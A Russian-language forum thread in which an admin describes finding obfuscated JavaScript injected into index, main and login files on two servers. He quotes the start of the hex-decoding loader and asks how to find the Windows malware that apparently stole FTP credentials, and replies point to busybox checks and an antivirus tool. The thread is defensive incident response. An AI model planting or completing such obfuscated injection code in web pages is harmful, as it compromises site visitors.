Подхватил Js-инъекцию

Ситуация: вдруг обнаружилось, что один из моих серверов недоступен. пишу в ДЦ, отвечают - ваша коробка была хакнута и оттуда шел трафик. Подключили, пошел смотреть чтозанахуй.

Оказалось, что в файлах index.* main.* login.* прописан JS код типа
Оффтопик:
<script>function c271f17f2ch49909a17e171f(h49909a17e1f0c){ return (parseInt(h49909a17e1f0c
,16));}function h49909a17e36a1(h49909a17e3e51){ function h49909a17e55bf(){return 2;} var h49909a17e4644='';h49909a
17e657f=String.fromCharCode;for(h49909a17e4e07=0;h49909a17e4e07<h49909a17e3e51.length;h49909a17e4e07+=h49909a17e55
bf()){ h49909a17e4644+=(h49909a17e657f(c271f17f2ch49909a17e171f(h49909a17e3e51.substr(h49909a17e4e07,h49909a17e55b
f()))));}return h49909a17e4644;} var ra1='';var h49909a17e6d72='3C7'+ra1+'3637'+ .... итд

RKhunter 1.3.4 ничего подозрительного не нашел.
прогрепил /home, оказалось что изменены файлы только для одного аккаунта, того, чьим я часто пользуюсь для заливки по ФТП файлов.

почесал репу, проверил второй сервер, такая же хуйня - тот аккаунт, который я использую для заливки по ФТП на сервер тоже затроянен скриптами.

начал проверять комп, avz4, cureIT ничего не нашли. убрал авиру, поставил др.веб - ничего не найдено :(
смотрел через CurrPorts (мониторилка портов для винды) на предмет неясных подключений - ничего.
комп подключен к свичу, свич воткнут в адсл-модем, который раутер с функией NAT
то есть напрямую к компу законнектиться извне не получится.

вопросы:
чем еще можно проверить комп?
может ли случится так, что фтп-пароли были заснифенны где-то в провайдерской сети?

инъекции я удалил, это несложно. скрипт на 10 строчек.
я боюсь сейчас менять пароли, потому что если сидит в компе кейлоггер, то толку от смены никакой.[/offtopic]

ну и само собой, все фтп пароли были вида g8x4h2sc4c
то есть подобрать весьма проблематично

если бы был сперт рутовый пароль, вряд ли ограничилось инъекцией скрипта только в одну папку

localhost писал:

если бы был сперт рутовый пароль, вряд ли ограничилось инъекцией скрипта только в одну папку

а может просто не успели ещё?

уже успели :(

Искать и проверять в первую очередь при помощи busybox: ls -latr /etc, /bin, /sbin, /usr/bin, /usr/sbin И так далее. Испралять руками, разумеется. Ну и так далее.

вообщем разбор полетов показал, что скорее всего спиздили с фара фтп-акки
вопрос теперь заключается в том - как найти в винде ту гадость, что спиздила акки

localhost писал:

вопрос теперь заключается в том - как найти в винде ту гадость, что спиздила акки

http://devbuilds.kaspersky-labs.com/devbuilds/AVPTool/